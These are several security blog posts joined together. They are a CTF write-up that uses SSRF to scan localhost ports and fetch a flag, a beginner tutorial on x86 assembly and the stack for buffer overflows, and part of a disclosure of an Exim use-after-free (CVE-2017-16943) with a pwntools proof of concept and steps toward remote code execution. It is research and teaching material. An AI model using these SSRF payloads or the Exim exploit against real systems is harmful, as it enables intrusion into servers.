While I was at first somehow convinced that the flag had to reside somewhere on the localhost (due to a thrill of anticipation probably? ;-) ), I first wanted to retrieve the contents of Apache’s server-status page (which is usually bound to the localhost) to potentially fetch the flag from there on. However when trying to query that page using the following request (remember “h1-212.rcesec.com” did actually resolve to “127.0.0.1”, which applied to all further requests):

POST / HTTP/1.1
Host: admin.acme.org
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: admin=yes
Content-Type: application/json
Content-Length: 44

{"domain":"h1-212.rcesec.com/server-status"}

The application just returned an error, indicating that there was at least a very basic validation of the domain name in place requiring the domain value to be ended with the string “.com”:

HTTP/1.1 418 I'm a teapot
Date: Wed, 15 Nov 2017 07:32:32 GMT
Server: Apache/2.4.18 (Ubuntu)
Content-Length: 60
Connection: close
Content-Type: application/json

{"error":{"domain":"incorrect value, .com domain expected"}}

Bypassing the Domain Validation (Part 1)

OK, so the application expected the domain to end with a “.com”. While trying to bypass this on common ways using i.e. “?”:

POST / HTTP/1.1
Host: admin.acme.org
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: admin=yes
Content-Type: application/json
Content-Length: 49

{"domain":"h1-212.rcesec.com/server-status?.com"}

The application always responded with:

HTTP/1.1 418 I'm a teapot
Date: Wed, 15 Nov 2017 07:37:15 GMT
Server: Apache/2.4.18 (Ubuntu)
Content-Length: 46
Connection: close
Content-Type: application/json

{"error":{"domain":"domain cannot contain ?"}}

The same applies to “&”, “#” and (double-) URL-encoded representations of it. However when a semicolon was used:

POST / HTTP/1.1
Host: admin.acme.org
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: admin=yes
Content-Type: application/json
Content-Length: 50

{"domain":"h1-212.rcesec.com/server-status/;.com"}

The application responded again with a reference to the read.php file:

HTTP/1.1 200 OK
Date: Wed, 15 Nov 2017 07:39:36 GMT
Server: Apache/2.4.18 (Ubuntu)
Content-Length: 26
Connection: close
Content-Type: text/html; charset=UTF-8

{"next":"\/read.php?id=3"}

Following that one, indeed returned a base64-encoded string of the server-status output:

HTTP/1.1 200 OK
Date: Wed, 15 Nov 2017 07:40:33 GMT
Server: Apache/2.4.18 (Ubuntu)
Vary: Accept-Encoding
Content-Length: 50180
Connection: close
Content-Type: text/html; charset=UTF-8

{"data":"PCFET0NUWVBFIEhUTUwgUFVCTElDICItLy9XM0MvL0RURC *CENSORED*"}

While I was thinking “yeah I got it finally”, it turned out that there wasn’t a flag anywhere. Although I think it was also not intended to expose the Apache-Status page at all by the engineer ;-) :

The Right Direction

While I was poking around on the localhost to find the flag for a while without any luck, I decided to go a different way and use the discovered SSRF vulnerability in order to see whether there are any other open ports listening on localhost, which are otherwise not visible from the outside. To be clear: a port scan from the Internet on the target host did only reveal the open ports 22 and 80:

Since port 22 was known to be open, it could be easily verified by using the SSRF vulnerability to check whether the port can actually be reached via localhost as well:

POST / HTTP/1.1
Host: admin.acme.org
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: admin=yes
Content-Type: application/json
Content-Length: 38

{"domain":"h1-212.rcesec.com:22;.com"}

This returned the following output (after querying the read.php file again):

HTTP/1.1 200 OK
Date: Wed, 15 Nov 2017 08:07:48 GMT
Server: Apache/2.4.18 (Ubuntu)
Vary: Accept-Encoding
Content-Length: 91
Connection: close
Content-Type: text/html; charset=UTF-8

{"data":"U1NILTIuMC1PcGVuU1NIXzcuMnAyIFVidW50dS00dWJ1bnR1Mi4yDQpQcm90b2NvbCBtaXNtYXRjaC4K"}

Base64-decoded:

SSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.2
Protocol mismatch.

Et voila. Since scanning all ports manually and requesting everything using the read.php file was a bit inefficient, I’ve wrote a small Python script which is capable of scanning a range of given ports numbers (i.e. from 81 to 1338), fetching the “next” response and finally tries to base64-decode its value:

import requests
import json
import base64

try:
	from requests.packages.urllib3.exceptions import InsecureRequestWarning
	requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
except:
	pass

proxies = {
  'http': 'http://127.0.0.1:8080',
  'https': 'http://127.0.0.1:8080',
}

cookies = {"admin":"yes"}
headers = {"User-Agent": "Mozilla/5.0", "Host":"admin.acme.org", "Content-Type":"application/json"}

def make_session(x):
	url = "http://104.236.20.43/index.php"
	payload = {"domain":"h1-212.rcesec.com:"+str(x)+";.com"}
	r = requests.post(url, headers=headers, verify=False, cookies=cookies, proxies=proxies, data=json.dumps(payload))
	data = json.loads(r.text)['next']

	url = "http://104.236.20.43" + data
	r = requests.get(url, headers=headers, verify=False, cookies=cookies, proxies=proxies)
	data = json.loads(r.text)['data']
	if data != "":
		print "33[92mFound open port:33[91m " + str(x) + "\n33[92mReading data: 33[0;0m" + base64.b64decode(data)

for x in range(81, 1338):
	make_session(x)

When run my script finally discovered another open port: 1337 (damn, that was obvious ;-) ):

Bypassing the Domain Validation (Part 2)

So it seemed like the flag could be located somewhere on the service behind port 1337. However I noticed an interesting behaviour I haven’t thought about earlier: When a single slash after the port number was used:

POST / HTTP/1.1
Host: admin.acme.org
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: admin=yes
Content-Type: application/json
Content-Length: 41

{"domain":"h1-212.rcesec.com:1337/;.com"}

The web application always returned an HTTP 404:

<html>
<head><title>404 Not Found</title></head>
<body bgcolor="white">
<center><h1>404 Not Found</h1></center>
<hr><center>nginx/1.10.3 (Ubuntu)</center>
</body>
</html>

This is simply due to the fact that the semicolon was interpreted by the webserver as part of the path itself. So if “;.com” did not exist on the remote server, the web server did always return an HTTP 404. To overcome this hurdle, a bit of creative thinking was required. Assuming that the flag file would be simply named “flag”, the following must be met in the end:

  1. The domain had to end with “.com”
  2. The URL-Splitting characters %, &, # and their (double-encoded) variants were not allowed

In the end the following request actually met all conditions:

POST / HTTP/1.1
Host: admin.acme.org
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: admin=yes
Content-Type: application/json
Content-Length: 45

{"domain":"h1-212.rcesec.com:1337/flag\u000A.com"}

Here I was using a unicode-based linefeed-character to split up the domain name into two parts. This actually triggered two separate requests, which could be observed by the number being added to the read.php file and its “id” parameter. So when a single request without the linefeed character was issued:

POST / HTTP/1.1
Host: admin.acme.org
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: admin=yes
Content-Type: application/json
Content-Length: 45

{"domain":"h1-212.rcesec.com:1337/flag;.com"}

the application returned the ID “0”:

HTTP/1.1 200 OK
Date: Wed, 15 Nov 2017 09:28:55 GMT
Server: Apache/2.4.18 (Ubuntu)
Content-Length: 26
Connection: close
Content-Type: text/html; charset=UTF-8

{"next":"\/read.php?id=0"}

However when the linefeed payload was issued:

POST / HTTP/1.1
Host: admin.acme.org
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: admin=yes
Content-Type: application/json
Content-Length: 50

{"domain":"h1-212.rcesec.com:1337/flag\u000A.com"}

The read.php ID parameter was suddenly increased by two to “2” instead:

HTTP/1.1 200 OK
Date: Wed, 15 Nov 2017 09:30:08 GMT
Server: Apache/2.4.18 (Ubuntu)
Content-Length: 26
Connection: close
Content-Type: text/html; charset=UTF-8

{"next":"\/read.php?id=2"}

This indicated that the application actually accepted both “domains” leading to two different requests being sent. By querying the ID value minus 1 therefore returned the results from the call to “h1-212.rcesec.com:1337/flag”:

GET /read.php?id=1 HTTP/1.1
Host: admin.acme.org
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: admin=yes

Et voila:

HTTP/1.1 200 OK
Date: Wed, 15 Nov 2017 09:32:56 GMT
Server: Apache/2.4.18 (Ubuntu)
Vary: Accept-Encoding
Content-Length: 191
Connection: close
Content-Type: text/html; charset=UTF-8

{"data":"RkxBRzogQ0YsMmRzVlwvXWZSQVlRLlRERXBgdyJNKCVtVTtwOSs5RkR7WjQ4WCpKdHR7JXZTKCRnN1xTKTpmJT1QW1lAbmthPTx0cWhuRjxhcT1LNTpCQ0BTYip7WyV6IitAeVBiL25mRm5hPGUkaHZ7cDhyMlt2TU1GNTJ5OnovRGg7ezYK"}

When the “data” value is base64-decoded, it finally revealed the flag:

FLAG: CF,2dsV\/]fRAYQ.TDEp`w"M(\%mU;p9+9FD{Z48X*Jtt{\%vS($g7\S):f\%=P[Y@nka=<tqhnF<aq=K5:BC@Sb*{[%z"+@yPb/nfFna<e$hv{p8r2[vMMF52y:z/Dh;{6

Challenge completed.

Hello, world!

8 December 2017 at 09:16

I decided to start a blog.

I will try to write as much as possible, but this will not happen too often.

I will probably talk about my projects, NetRipper and Shellcode Compiler, reverse engineering or exploit development, but I will also try to cover web application security.

Previous blog posts

I previously wrote a few blog posts on securitycafe.ro:

About me

You can find more information about me on the About me page.

 

Stack Based Buffer Overflows on x86 (Windows) – Part I

9 December 2017 at 13:35

I wrote this article in Romanian, in 2014, and I decided to translate it, because it is a very detailed introduction in the exploitation of a “Stack Based Buffer Overflow” on x86 (32 bits) Windows.

Introduction

This tutorial is for beginners, but it requires at least some basic knowledge about C/C++ programming in order to understand the concepts.

The system that we will use and exploit the vulnerability on is Windows XP (32 bits – x86) for simplicity reasons: there is not DEP and ASLR, things that will be detailed later.

I would like to start with a short introduction on assembly (ASM) language. It will not be very detailed, but I will shortly describe the concepts required to understand how a “buffer overflow” vulnerability looks like, and how it can be exploited. There are multiple types of buffer overflows, here we will discuss only the easiest to understand one, stack based buffer overflow.

Introduction to ASM

In order to make sure all C/C++ developers will understand, I will explain first what happens with a C/C++ code when it is compiled. Let’s take the following code:

#include <stdio.h>
int main() 
{ 
    puts("RST rullz"); 
    return 0; 
}

The compiler will translate the code into assembly language, which will be translated later into machine code, that can be understood by the processor.

The ASM generated code will look similar to the following one:

PUSH OFFSET SimpleEX.??_C@_09GGKPFABJ@RST?5rullz?$AA@ ; /s = "RST rullz"
CALL DWORD PTR DS:[<&MSVCR100.puts>] ; \puts
ADD ESP,4
XOR EAX,EAX
RETN

It is not required to understand it at this time.

This ASM code will be assembled in machine code, such as the following:

68 F4200300    PUSH OFFSET SimpleEX.??_C@_09GGKPFABJ@RST?5rullz?$AA@ ; /s = "RST rullz"
FF15 A0200300  CALL DWORD PTR DS:[<&MSVCR100.puts>] ; \puts
83C4 04        ADD ESP,4
33C0           XOR EAX,EAX
C3             RETN

We can see a series of bytes: 0x68 0xF4 0x20 0x03 0x00 0xFF 0x15 0xA0 0x20 0x03 0x00 0x83 0xC4 0x04 0x33 0xC0 0xC3. On the right, we can see the instructions that were assembled to those bytes. In order words, the processor will read the bytes and process them as assembly code.

The processor does not understand the C/C++ variables. It has its own “variables”, more specifically, each processor has its own registers where it can store data.

A few of those registers, are the following:

  • EAX, EBX, ECX, EDX, ESI, EDI – General purpose registers that store data.
  • EIP – Special register: the processor executes each instruction, one by one (such as ASM code). Let’s suppose the first instruction is available at the address 0x10000000. One instruction can have one or more bytes, let’s suppose it has 3 bytes. Initially, the value of this register is 0x10000000. When the processor will execute the instruction, the EIP value will be 0x10000003.
  • ESP – Stack pointer: We will detail this later. For the moment it is enough to mention that a special data region, called stack, will be used by the program, and this register holds the value of the address of the top of the stack. We also have EBP register, which holds the base of the current stack memory.

All these registers can store 4 bytes of memory. The “E” comes from “Extended” as the processors on 16 bits had only registers that could store 16 bits, such as AX, BX, CX, DX. On 64 bits, the registers can hold 64 bits: RAX, RBX etc.

A very important concept that needs to be understood when it comes to assembly language is the stack. The stack is a way to store data, piece by piece (4 bytes pieces of data) where each new added piece is placed on the top of the last one. When the data is removed from the stack, it is removed from the top to the bottom, piece by piece.  Or, how a teacher from college used to tell us, the stack is similar to a stack of plates: you can add one only at the top, and you remove them one by one from the top to the bottom.

The stack is used at the processor level (on 32 bits) because:

  • local variables (inside functions) are placed on the stack
  • function parameters are also placed on the stack

There are also two things that we need to take care when we work with ASM:

  • the processors are little endian: more exactly, if you have a variable x = 0x11223344, this will be stored in memory such as 0x44332211.
  • when we add a new element (4 bytes piece of memory) on the stack, the value of the ESP will be ESP-4! This is important, as the “stack grows to 0”.

We have two ASM instructions that we can use to work with the stack:

  • PUSH – Will place a 4 bytes value on the stack
  • POP – Will remove a 4 bytes value from the stack

For example, we can have the following stack (left is the address, right is the value):

24 - 1111
28 - 2222
32 - 3333

The address on the left will be smaller when we will add new items on the stack. Let’s add two new elements:

PUSH 5555
PUSH 6666

The stack will look like this:

16 - 6666 
20 - 5555 
24 - 1111 
28 - 2222 
32 - 3333

The easiest way to understand this is to consider that ESP, the registers that holds the top of the stack, is to think about it as a “how much space has the stack left to add new elements”.

As we already discussed, PUSH and POP instructions work with the stack. The processor executes instructions in order to do its job and each instruction has its own role. Let’s see some other instructions:

  • MOV – Stores data to a register
  • ADD – Does an addition
  • SUB – Does a substraction
  • CALL – Calls a function
  • RETN – Returns from a function
  • JMP – Jumps to an address
  • XOR – Binary operations, for example XOR EAX, EAX is the equivalent of EAX=0
  • INC – Increments the value by 1 (x++)
  • DEC – Decrements the value by 1 (x–)

There are a lot of other instructions, but these are the most common and easy to understand. Let’s see a few examples:

ADD EAX, 5     ; Adds the value 5 to the EAX register. It is EAX = EAX + 5
SUB EDX, 7     ; Substracts 7 from the value of EDX register. Such as EDX = EDX - 7
CALL puts      ; Calls the "puts" function
RETN           ; Returns from the function
JMP 0x11223344 ; Jumps to the specified address and execute the instructions from there
XOR EBX, EBX   ; The equivalent of EBX = 0
MOV ECX, 3     ; The equivalent of ECX = 3
INC ECX        ; The equivalent of ECX++
DEC ECX        ; The equivalent of ECX--

It should be pretty easy to understand. Now we can also understand what the processor does to print our message.

  • PUSH OFFSET SimpleEX.@_rst_@ – I replaced the longer string with something simple. It is actually a pointer to the memory location where the “RST rullz” message is placed in memory. The instruction adds on the stack the addres of our string. As a result, the value of the ESP register will be ESP – 4.
  • CALL DWORD PTR DS:[<&MSVCR100.puts>] – Calls the “puts” function from the “MSVCR100” (Microsoft Visual C Runtime v10) library, used by Visual Studio 2010. We will detail later how this instruction works, but before we call a function, we have to add the parameters on the stack (first instruction).
  • ADD ESP, 4 – Since the first instruction will substract 4 bytes from the ESP register value, by doing this we retore those 4 bytes.
  • XOR EAX, EAX – This means EAX = 0. The value returned by a function will be stored in the EAX register (we have return 0 at the end of the code).
  • RETN – As we specified the return value with the previous instruction, we can safely return from the “main” function.

In order to understand better how function call works, let’s take the following example:

#include <stdio.h>
int functie(int a, int b) 
{ 
    return a + b; 
}
int main() 
{ 
    functie(5, 6); 
    return 0; 
}

The “main” function will look in ASM code like this:

PUSH EBP
MOV EBP,ESP
PUSH 6
PUSH 5
CALL SimpleEX.functie
ADD ESP,8
XOR EAX,EAX
POP EBP
RETN

The “functie” function will look like this:

PUSH EBP
MOV EBP,ESP
MOV EAX,DWORD PTR SS:[EBP+8]
ADD EAX,DWORD PTR SS:[EBP+C]
POP EBP
RETN

Note: Visual Studio is smart enough to automatically have the result of the addition (5 + 6 = 11). For tests, you can completely deactivate the compiler optimizations from Properties > C++ > Optimization.

We can see some common instructions for both functions:

  • PUSH EBP – At the beginning of the functions
  • MOV EBP, ESP – At the beginning of the functions
  • POP EBP – At the end of the functions

Well, these instructions have the role to create “stack frames”. They have the role to separate the function calls on the stack, so the EBP and ESP registers (the base and the top of the stack) will contain the stack memory area that is used by the currently called function . With other words, using these instructions, the EBP register will hold the address where the data (local variables) used by the current function begins and the ESP register will holds the address where the data used by the current function ends.

Let’s start with the function that does the addition.

  • MOV EAX,DWORD PTR SS:[EBP+8]
  • ADD EAX,DWORD PTR SS:[EBP+C]

Don’t be scared about the “DWORD PTR SS:[EBP+8]” stuff. As we previously discussed between EBP and ESP we can find the data used by the function. In this case, this data represents the parameters of the function. The parameters are available on the stack and there are relative to the EBP address, at the EBP+8 and EBP+C (0xC == 12).

Also, in ASM, the square braces are used such as “*” in C/C++ when it comes to pointers. As *p means “the value at the address p”, [EBP] means “the value at the address of the EBP register”. It is required to do this because the EBP register contains an address of memory as a value and we need the value that is stored at that memory location.

Other thing to notice is that the “DWORD” specifies that at the specified address there is a 4 bytes value. There are a few types of data that specify the size of the data:

  • BYTE – 1 byte
  • WORD – 2 bytes
  • DWORD – 4 bytes (Double WORD)

The SS (Stack Segment), DS (Data Segment) or CS (Code segment) are other registers that identify different memory regions/segments: stack, data or code, and each of those locations has its own access rights: read, write or execute.

So what those two instructions do? First instruction will place the value of the parameter “a”, the first parameter, in the EAX register. The second instruction will add the value of the second parameter “b”, to the EAX register. So, in the end, the EAX register will contain the “a+b” value and this value will be returned by the function on RETN.

Let’s go now to the function that calls the addition function.

PUSH 6
PUSH 5
CALL SimpleEX.functie
ADD ESP,8

We remember that the function call is “functie(5, 6)”. Well, in order to call a function, we have to do the following:

  1. Put the parameters on the stack, from right to left, so first 6, second 5
  2. Call the function
  3. Clear the space allocated for the parameters (4 bytes * 2 parameters)

So, we place the two parameters on the stack (32 bits or 4 bytes each parameter): first we add 6 to the stack, followed by 5, we call the function and clean the stack. In order to clean the stack, we just add 8 to the ESP value (the two parameters size) in order to restore it to the value before the function call. We previously discussed that it is possible to use POP instruction to remove data from the stack, but in this case, there would be two POP instructions. If we would call a function with 100 parameters, we would have to do 100 POP instructions, and we can do it easier and faster with a single “ADD ESP” instruction.

Note: It is important, but not for the purpose of this article: there are multiple ways to call a function, knwon as “calling conventions”. This method, which requires to place the parameters from the right to the left and clean the stack after the function call is called “cdecl”. Other functions, such as the functions from the Windows operating system, called Windows API (Application Programming Interface) use a different calling convention called “stdcall”, which also requires to place the function parameters on the stack from right to the left, but the cleaning of the stack is done inside the function that is called, not after the “CALL” instruction.

It is also important to understand that when we call a function using the “CALL” instruction, the address of the instruction following the “CALL” instruction is placed on the stack. For example:

00261013 | PUSH 6 ; /Arg2 = 00000006
00261015 | PUSH 5 ; |Arg1 = 00000005
00261017 | CALL SimpleEX.functie ; \functie
0026101C | ADD ESP,8

On the left we can see the memory addresses where the instructions are stored. The PUSH instructions have each 2 bytes. The CALL instruction, available at the address 0x00261017 has 5 bytes. So, the address following this instruction in 0x0026101C (which is 0x00261017 + 5). This is the address that will be pushed on the stack when the CALL instruction is executed.

Before the CALL instruction, the stack will look like this:

24 - 0x5
28 - 0x6
32 - 0x1337 ; Anything we have before the PUSH instructions

After the exection of the CALL instruction, the stack will look like this (the address values are simple to be easier to understand):

20 - 0x0026101C ; The address of the instruction following the CALL instruction
                ; We need to save it in order to be able to know where to return after the function code is executed
                ; This is also code the "return address"
24 - 0x5
28 - 0x6
32 - 0x1337     ; Anything we have before the PUSH instructions

After the return address is placed on the stack, the execution will continue with the function code. The first two instruction, called function “prologue”, are used to create the stack frame for the function called:

PUSH EBP
MOV EBP,ESP

After the PUSH instruction, the stack will look like this;

16 - 32         ; The value of EBP before the function call
20 - 0x0026101C ; The return address, where we will go back at the RETN instruction
24 - 0x5
28 - 0x6
32 - 0x1337     ; Anything we have before the PUSH instructions

After “MOV EBP, ESP” instruction, the EBP will have the value the top of the stack. It is important to note that if we would use local variables inside the function, they will be placed on the stack.

Let’s modify the function to this:

int functie(int a, int b)
{
    int v1 = 3, v2 = 4;
    return a + b;
}

We have now two local variables which are initialized with the values 3 and 4. The new code of the function will contain some new code:

SUB ESP,8                  ; Allocate space on the stack for the two variables, 4 bytes each
MOV DWORD PTR SS:[EBP-4],3 ; Initialize the first variable
MOV DWORD PTR SS:[EBP-8],4 ; Initialize the second variable

The stack will contain now:

08 - 4          ; Second variable
12 - 3          ; First variable
16 - 32         ; The value of EBP before the function call
20 - 0x0026101C ; The return address
24 - 0x5
28 - 0x6
32 - 0x1337     ; Anything we have before the PUSH instructions

As a conclusion, it is important to remember the following:

  • local function variables are placed on the stack
  • the return address is also placed on the stack

If you have any question, before proceeding with the stack based buffer overflow, make sure you have the answers to your questions in order to properly understand the subject.

You can continue this article with the second part.

Road to Exim RCE - Abusing Unsafe Memory Allocator in the Most Popular MTA

10 December 2017 at 16:00

On 23 November, 2017, we reported two vulnerabilities to Exim. These bugs exist in the SMTP daemon and attackers do not need to be authenticated, including CVE-2017-16943 for a use-after-free (UAF) vulnerability, which leads to Remote Code Execution (RCE); and CVE-2017-16944 for a Denial-of-Service (DoS) vulnerability.

About Exim

Exim is a message transfer agent (MTA) used on Unix systems. Exim is an open source project and is the default MTA on Debian GNU/Linux systems. According to our survey, there are about 600k SMTP servers running exim on 21st November, 2017 (data collected from scans.io). Also, a mail server survey by E-Soft Inc. shows over half of the mail servers identified are running exim.

Affected

  • Exim version 4.88 & 4.89 with chunking option enabled.
  • According to our survey, about 150k servers affected on 21st November, 2017 (data collected from scans.io).

Vulnerability Details

Through our research, the following vulnerabilies were discovered in Exim. Both vulnerabilies involve in BDAT command. BDAT is an extension in SMTP protocol, which is used to transfer large and binary data. A BDAT command is like BDAT 1024 or BDAT 1024 LAST. With the SIZE and LAST declared, mail servers do not need to scan for the end dot anymore. This command was introduced to exim in version 4.88, and also brought some bugs.

  • Use-after-free in receive_msg leads to RCE (CVE-2017-16943)
  • Incorrect BDAT data handling leads to DoS (CVE-2017-16944)

Use-after-free in receive_msg leads to RCE

Vulnerability Analysis

To explain this bug, we need to start with the memory management of exim. There is a series of functions starts with store_ such as store_get, store_release, store_reset. These functions are used to manage dynamically allocated memory and improve performance. Its architecture is like the illustration below: architecture of storeblock

Initially, exim allocates a big storeblock (default 0x2000) and then cut it into stores when store_get is called, using global pointers to record the size of unused memory and where to cut in next allocation. Once the current_block is insufficient, it allocates a new block and appends it to the end of the chain, which is a linked list, and then makes current_block point to it. Exim maintains three store_pool, that is, there are three chains like the illustration above and every global variables are actually arrays. This vulnerability is in receive_msg where exim reads headers: receive.c: 1817 receive_msg

  if (ptr >= header_size - 4)
    {
    int oldsize = header_size;
    /* header_size += 256; */
    header_size *= 2;
    if (!store_extend(next->text, oldsize, header_size))
      {
      uschar *newtext = store_get(header_size);
      memcpy(newtext, next->text, ptr);
      store_release(next->text);
      next->text = newtext;
      }
    }

It seems normal if the store functions are just like realloc, malloc and free. However, they are different and cannot be used in this way. When exim tries to extend store, the function store_extend checks whether the old store is the latest store allocated in current_block. It returns False immediately if the check is failed. store.c: 276 store_extend

if (CS ptr + rounded_oldsize != CS (next_yield[store_pool]) ||
    inc > yield_length[store_pool] + rounded_oldsize - oldsize)
  return FALSE;

Once store_extend fails, exim tries to get a new store and release the old one. After we look into store_get and store_release, we found that store_get returns a store, but store_release releases a block if the store is at the head of it. That is to say, if next->text points to the start the current_block and store_get cuts store inside it for newtext, then store_release(next->text) frees next->text, which is equal to current_block, and leaves newtext and current_block pointing to a freed memory area. Any further usage of these pointers leads to a use-after-free vulnerability. To trigger this bug, we need to make exim call store_get after next->text is allocated. This was impossible until BDAT command was introduced into exim. BDAT makes store_get reachable and finally leads to an RCE. Exim uses function pointers to switch between different input sources, such as receive_getc, receive_getbuf. When receiving BDAT data, receive_getc is set to bdat_getc in order to check left chunking data size and to handle following command of BDAT. In receive_msg, exim also uses receive_getc. It loops to read data, and stores data into next->text, extends if insufficient. receive.c: 1817 receive_msg

for (;;)
  {
  int ch = (receive_getc)(GETC_BUFFER_UNLIMITED);
  
  /* If we hit EOF on a SMTP connection, it's an error, since incoming
  SMTP must have a correct "." terminator. */

  if (ch == EOF && smtp_input /* && !smtp_batched_input */)
    {
    smtp_reply = handle_lost_connection(US" (header)");
    smtp_yield = FALSE;
    goto TIDYUP;                       /* Skip to end of function */
    }

In bdat_getc, once the SIZE is reached, it tries to read the next BDAT command and raises error message if the following command is incorrect. smtp_in.c: 628 bdat_getc

    case BDAT_CMD:
      {
      int n;

      if (sscanf(CS smtp_cmd_data, "%u %n", &chunking_datasize, &n) < 1)
  {
  (void) synprot_error(L_smtp_protocol_error, 501, NULL,
    US"missing size for BDAT command");
  return ERR;
  }

In exim, it usually calls synprot_error to raise error message, which also logs at the same time. smtp_in.c: 628 bdat_getc

static int
synprot_error(int type, int code, uschar *data, uschar *errmess)
{
int yield = -1;

log_write(type, LOG_MAIN, "SMTP %s error in \"%s\" %s %s",
  (type == L_smtp_syntax_error)? "syntax" : "protocol",
  string_printing(smtp_cmd_buffer), host_and_ident(TRUE), errmess);

The log messages are printed by string_printing. This function ensures a string is printable. For this reason, it extends the string to transfer characters if any unprintable character exists, such as '\n'->'\\n'. Therefore, it asks store_get for memory to store strings. This store makes if (!store_extend(next->text, oldsize, header_size)) in receive_msg failed when next extension occurs and then triggers use-after-free.

Exploitation

The following is the Proof-of-Concept(PoC) python script of this vulnerability. This PoC controls the control flow of SMTP server and sets instruction pointer to 0xdeadbeef. For fuzzing issue, we did change the runtime configuration of exim. As a result, this PoC works only when dkim is enabled. We use it as an example because the situation is less complicated. The version with default configuration is also exploitable, and we will discuss it at the end of this section.

# CVE-2017-16943 PoC by meh at DEVCORE
# pip install pwntools
from pwn import *

r = remote('127.0.0.1', 25)

r.recvline()
r.sendline("EHLO test")
r.recvuntil("250 HELP")
r.sendline("MAIL FROM:<[email protected]>")
r.recvline()
r.sendline("RCPT TO:<[email protected]>")
r.recvline()
r.sendline('a'*0x1250+'\x7f')
r.recvuntil('command')
r.sendline('BDAT 1')
r.sendline(':BDAT \x7f')
s = 'a'*6 + p64(0xdeadbeef)*(0x1e00/8)
r.send(s+ ':\r\n')
r.recvuntil('command')
r.send('\n')

r.interactive()
  1. Running out of current_block In order to achieve code execution, we need to make the next->text get the first store of a block. That is, running out of current_block and making store_get allocate a new block. Therefore, we send a long message 'a'*0x1250+'\x7f' with an unprintable character to cut current_block, making yield_length less than 0x100.
  2. Starts BDAT data transfer After that, we send BDAT command to start data transfer. At the beginning, next and next->text are allocated by store_get. The function dkim_exim_verify_init is called sequentially and it also calls store_get. Notice that this function uses ANOTHER store_pool, so it allocates from heap without changing current_block which next->text also points to. receive.c: 1734 receive_msg
     if (smtp_input && !smtp_batched_input && !dkim_disable_verify)
       dkim_exim_verify_init(chunking_state <= CHUNKING_OFFERED);
    
  3. Call store_getc inside bdat_getc Then, we send a BDAT command without SIZE. Exim complains about the incorrect command and cuts the current_block with store_get in string_printing.
  4. Keep sending msg until extension and bug triggered In this way, while we keep sending huge messages, current_block gets freed after the extension. In the malloc.c of glibc (so called ptmalloc2), system manages a linked list of freed memory chunks, which is called unsorted bin. Freed chunks are put into unsorted bin if it is not the last chunk on the heap. In step 2, dkim_exim_verify_init allocated chunks after next->text. Therefore, this chunk is put into unsorted bin and the pointers of linked list are stored into the first 16 bytes of chunk (on x86-64). The location written is exactly current_block->next, and therefore current_block->next is overwritten to unsorted bin inside main_arena of libc (linked list pointer fd points back to unsorted bin if no other freed chunk exists).
  5. Keep sending msg for the next extension When the next extension occurs, store_get tries to cut from main_arena, which makes attackers able to overwrite all global variables below main_arena.
  6. Overwrite global variables in libc
  7. Finish sending message and trigger free() In the PoC, we simply modified __free_hook and ended the line. Exim calls store_reset to reset the buffer and calls __free_hook in free(). At this stage, we successfully controlled instruction pointer $rip. However, this is not enough for an RCE because the arguments are uncontrollable. As a result, we improved this PoC to modify both __free_hook and _IO_2_1_stdout_. We forged the vtable of stdout and set __free_hook to any call of fflush(stdout) inside exim. When the program calls fflush, it sets the first argument to stdout and jumps to a function pointer on the vtable of stdout. Hence, we can control both $rip and the content of first argument. We consulted past CVE exploits and decided to call expand_string, which executes command with execv if we set the first argument to ${run{cmd}}, and finally we got our RCE.

Exploit for default configured exim

When dkim is disabled, the PoC above fails because current_block is the last chunk on heap. This makes the system merge it into a big chunk called top chunk rather than unsorted bin. The illustrations below describe the difference of heap layout:

To avoid this, we need to make exim allocate and free some memories before we actually start our exploitation. Therefore, we add some steps between step 1 and step 2.

After running out of current_block:

  1. Use DATA command to send lots of data Send huge data, make the chunk big and extend many times. After several extension, it calls store_get to retrieve a bigger store and then releases the old one. This repeats many times if the data is long enough. Therefore, we have a big chunk in unsorted bin.
